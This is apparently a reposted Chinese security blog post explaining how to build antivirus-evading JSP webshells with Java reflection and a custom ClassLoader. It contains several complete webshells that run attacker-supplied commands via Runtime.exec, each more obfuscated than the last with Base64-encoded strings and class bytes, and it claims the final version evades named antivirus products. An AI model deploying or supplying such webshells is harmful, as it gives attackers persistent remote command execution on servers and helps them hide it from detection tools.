JSP免杀马

目录

JSP免杀马

Java反射

概念

实例

ClassLoader加载机制

JSP免杀马

总结

@更多黑客渗透技能!欢迎关注扫码


JSP免杀马

随着Java框架的进化和程序员的内卷,使用PHP编写的系统越来少,使用Java编写的系统越来越多。JSP马的使用越来越多,但是就目前来看,各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术尝试绕过杀毒软件。

先介绍这几个常见的Java概念。

Java反射

概念

Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。------《JAVA反射机制》百度百科

要想了解Java反射,首先要了解到.java文件是无法直接执行的,需要将其编译成.class字节码文件,然后借助借助Java虚拟机也就是jvm进行执行。

通过Java语言中的反射机制可以直接操作字节码文件。

要操作一个类的字节码,需要首先获取,有以下三种方式获取java.lang.Class实例:

//1
Class.forName("完整类名带包名")
//2
对象.getClass()
//3
任何类型.class

这三种获取方式没有使用上的区别。

下面我们通过一个实例来使用一下Java的反射机制。

实例

创建Reflect类:

public class Reflect {
    private static Reflect reflect = new Reflect();

    public Reflect() {
    }

    public static Reflect getReflect() {
        return reflect;
    }

    public void print(int a, int b) {
        System.out.println(a + b);
    }
}

利用反射的方式调用函数:

import java.lang.reflect.Method;

public class testClass {
    public static void main(String[] args) throws Throwable {
        //正常方式
        Reflect reflect = new Reflect();
        reflect.print(1, 2);
        //部分反射
        //通过运行时的对象调用getClass();
        Class<?> aClass = Class.forName("reflection.Reflect");
        //getMethod(方法名,参数类型)
        //getMethod第一个参数是方法名,第二个参数是该方法的参数类型
        //因为存在同方法名不同参数这种情况
				//所以只有同时指定方法名和参数类型才能唯一确定一个方法
        Method method = aClass.getMethod("print", int.class, int.class);
        //相当于reflect.print(1, 2);方法的反射操作是用method对象来进行方法调用
        //和reflect.print调用的效果完全相同
        //使用reflect调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入
        method.invoke(reflect, 1, 2);
        //全部反射
        Class.forName("reflection.Reflect")
                .getMethod("print", int.class, int.class)
                .invoke(Class.forName("reflection.Reflect")
                        .getMethod("getReflect")
                        .invoke(Class.forName("reflection.Reflect")), 1, 2);
        //如需获取实例化,也可以使用newInstance()
        Object instance = aClass.newInstance();
        System.out.println("instance = " + instance);
    }
}

执行结果如下:

3
3
3
instance = reflection.Reflect@28d93b30

ClassLoader加载机制

ClassLoader具体作用是将.class文件加载到jvm虚拟机中,程序就可以正确运行了。但是,jvm启动的时候,并不会一次性加载所有的.class文件,而是根据需要去动态加载。

Java语言自带有三个类加载器:

  • **Bootstrap ClassLoade**为最顶层的加载类,主要加载核心类库,%JRE_HOME%\\lib下的rt.jarresources.jarcharsets.jarclass等。

  • **Extention ClassLoader**为扩展的类加载器,加载目录%JRE_HOME%\\lib\\ext目录下的jar包和class文件。

  • **Appclass Loader**也称为**SystemAppClass**为加载当前应用的classpath的所有类。

BootstrapClassLoaderExtClassLoaderAppClassLoader是通过查阅相应的环境属性sun.boot.class.pathjava.ext.dirsjava.class.path来加载资源文件。

类加载器也是Java类,因为Java类的类加载器本身也是要被类加载器加载的,显然必须有第一个类加载器不是Java类,这个正是Bootstrap ClassLoade****,使用C/C++代码写的,已经封装到jvm内核中了,jvm启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,初始化sun.misc.Launcher并创建Extension ClassLoaderAppClassLoader实例,sun.misc.Launcher是Java虚拟机的入口应用。而ExtClassLoaderAppClassLoaderJava类。

可以使用以下代码来测试:

public class LoaderClass {
    public static void main(String[] args) {
        //BootstrapClassLoader加载的jar包
        System.out.println(System.getProperty("sun.boot.class.path"));
        //ExtClassLoader加载的jar包
        System.out.println(System.getProperty("java.ext.dirs"));
        //SystemClassLoader(AppClassLoader)加载的内容
        //结果为当前java工程目录target/classes,里面存放的是编译生成的class文件
        System.out.println(System.getProperty("java.class.path"));
        //使用自定义的ClassLoader加载系统类加载器
        ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();
        System.out.println("systemClassLoader = " + systemClassLoader);
        //调用系统类加载器的getParent():获取扩展类加载器
        ClassLoader extensionClassLoader = systemClassLoader.getParent();
        System.out.println("extensionClassLoader = " + extensionClassLoader);
        //调用扩展类加载器的getParent():无法获取引导类加载器
        //引导类加载器主要负责加载Java的核心类库,无法加载自定义类
        ClassLoader bootstrapClassloader = extensionClassLoader.getParent();
        System.out.println("bootstrapClassloader = " + bootstrapClassloader);
        //sun.misc.Launcher是java虚拟机的入口应用
    }
}

通过执行可以看到,BootstrapClassLoader加载的主要是jre目录下的jar包或者是class文件;ExtClassLoader加载的是jre\\lib\\ext目录;AppClassLoader加载当前应用的classpath的所有类,核心是加载java工程目录target/classes,里面存放的是编译生成的class文件。

我们可以自定义类加载器挂载到AppClassLoader上。

Java加载类时使用类加载器的委托机制,举个例子,假如我们自定义了一个类加载器MyClassLoader,自定定义的MyClassLoader首先会先委托给AppClassLoaderAppClassLoader会委托给ExtClassLoaderExtClassLoader会委托给BootstrapClassLoader,这时候BootstrapClassLoader就去加载,如果加载成功,结束;如果加载失败,就交给ExtClassLoader去加载,如果ExtClassLoader加载成功,结束;如果加载失败就交给AppClassLoader加载,如果加载成功,结束;如果加载失败,就交给自定义的MyClassLoader类加载器加载,如果加载失败,就报ClassNotFoundException异常,结束。

扯远了,接下来正式通过创建自定义的类加载器来尝试绕过杀软。

JSP免杀马

在Java中通常使用Runtime.*getRuntime*().exec("")进行命令执行,这里写一个最简单的JSP马:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    if ("666".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        out.print("<pre>");
        java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
        java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
        String s = null;
        while ((s = stdInput.readLine()) != null) {
            out.println(s);
        }
        out.print("</pre>");
    }
%>

但是这个太容易被检测到了,Runtime.*getRuntime*().exec("")明晃晃。

稍微进化下,尝试使用反射机制:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    if (request.getParameter("cmd") != null) {
        Class rt = Class.forName("java.lang.Runtime");
        Process e = (Process) rt.getMethod("exec").invoke(rt.getMethod("getRuntime").invoke(null), request.getParameter("cmd"));
        java.io.InputStream in = e.getInputStream();
        out.print("<pre>");
        java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
        java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
        String s = null;
        while ((s = stdInput.readLine()) != null) {
            out.println(s);
        }
        out.print("</pre>");
    }
%>

这下比之前稍微好了一些,没有直接调用恶意类,可以绕过部分利用类检测的规则。但是部分规则也会利用字段进行监测,我们可以对其中的java.lang.RuntimeexecgetRuntime等进行加密:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if (request.getParameter("cmd") != null) {
        BASE64Decoder decoder = new BASE64Decoder();
        byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");
        for (int i = 0; i < bytes.length; i++) {
            bytes[i] = (byte) (bytes[i] + 1);
        }
        Class rt = Class.forName(new String(bytes));
        Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null), request.getParameter("cmd"));
        java.io.InputStream in = e.getInputStream();
        out.print("<pre>");
        java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
        java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
        String s = null;
        while ((s = stdInput.readLine()) != null) {
            out.println(s);
        }
        out.print("</pre>");
    }
%>

我们通过删减的方式测试,发现只要有invoke函数就会报可疑文件。目前大多数的杀软已经对反射进行查杀。

我们通过ClassLoader来试一下。

先使用mian加载的方式尝试进行命令执行,写一个恶意类:

import java.io.IOException;

public class calc {
    public calc() {
    }

    public String toString() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "OK";
    }
}

将上述恶意类进行Base64加密并写入,使用自定义的类加载器MyLoader进行加载,main执行:

import sun.misc.BASE64Decoder;

public class Loader {
    public static class MyLoader extends ClassLoader {
        public Class get(byte[] b) {
            return super.defineClass(null, b, 0, b.length);
        }
    }

    public static void main(String[] args) throws Exception {
        String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvY2FsYzsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHACMMACQAJQEACGNhbGMuZXhlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoAAsBAAJPSwEAEG9yZy9leGFtcGxlL2NhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAQAMAAAAbQACAAIAAAAUuAACEgO2AARXpwAITCu2AAYSB7AAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAEQALAA4AAAAWAAIADQAEABMAFAABAAAAFAAPABAAAAAVAAAABwACTAcAFgQAAQAXAAAAAgAY"; // class的base64编码
        BASE64Decoder code = new sun.misc.BASE64Decoder();
        System.out.println("code = " + code);
        Class result = new MyLoader().get(code.decodeBuffer(classStr));
        System.out.println(result.newInstance().toString());
    }
}

成功执行。开始写JSP马。

先写一个恶意类:

package pass.loader;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class EvalClass {
    public String command;

    public EvalClass(String command) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String print;
        while ((print = bufferedReader.readLine()) != null) {
            stringBuilder.append(print).append("\\n");
        }
        this.command = stringBuilder.toString();
    }

    @Override
    public String toString() {
        return this.command;
    }
}

将上述恶意类进行Base64加密并写入,自定义的类加载器classLoader,最终的JSP马如下:

<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    if ("666".equals(request.getParameter("pwd"))) {
        String cmd = request.getParameter("cmd");
        ClassLoader classLoader = new ClassLoader() {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    BASE64Decoder decoder = new BASE64Decoder();
                    byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");
                    return defineClass(name, bytes, 0, bytes.length);
                } catch (IOException e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }

            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("EvalClass")) {
                    out.print(obj.toString());
                    return findClass(name);
                } else {
                    return super.loadClass(name);
                }
            }

        };
        Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");
        Constructor cos = evalClass.getConstructor(String.class);
        Object obj = cos.newInstance(cmd);
        out.print("<pre>");
        out.print(obj.toString());
        out.print("</pre>");

    }
%>

当前(2022年12月22日)可免杀火绒、360、D盾等。

使用ClassLoader方式构造JSP马难查杀的关键在于,恶意类完全隔离,上面的文件内容没有进行加密,加密后更加难以监测,如果要查杀,只能针对所有自构造的ClassLoader进行查杀,很多框架都使用了ClassLoader技术,不太能所有都监测和查杀。

总结

针对PHP马可通过监测核心的eval函数进行查杀,但是JSP马的查杀目前还没有很好的监测办法,除上述的利用ClassLoader进行免杀外,还可通过创建Runtime的父类等方式。

笔者水平有限,欢迎大家指出问题。

`m 9`竟然是敏感词,我把文中的换成了@@@,大家自行替换即可。

原文地址:https://www.freebuf.com/articles/web/355975.html

@更多黑客渗透技能!欢迎关注扫码

相关推荐
wjs2024几秒前
Swift 数组
开发语言
吾日三省吾码1 小时前
JVM 性能调优
java
stm 学习ing1 小时前
FPGA 第十讲 避免latch的产生
c语言·开发语言·单片机·嵌入式硬件·fpga开发·fpga
湫ccc2 小时前
《Python基础》之字符串格式化输出
开发语言·python
弗拉唐2 小时前
springBoot,mp,ssm整合案例
java·spring boot·mybatis
Red Red2 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
oi772 小时前
使用itextpdf进行pdf模版填充中文文本时部分字不显示问题
java·服务器
mqiqe3 小时前
Python MySQL通过Binlog 获取变更记录 恢复数据
开发语言·python·mysql
AttackingLin3 小时前
2024强网杯--babyheap house of apple2解法
linux·开发语言·python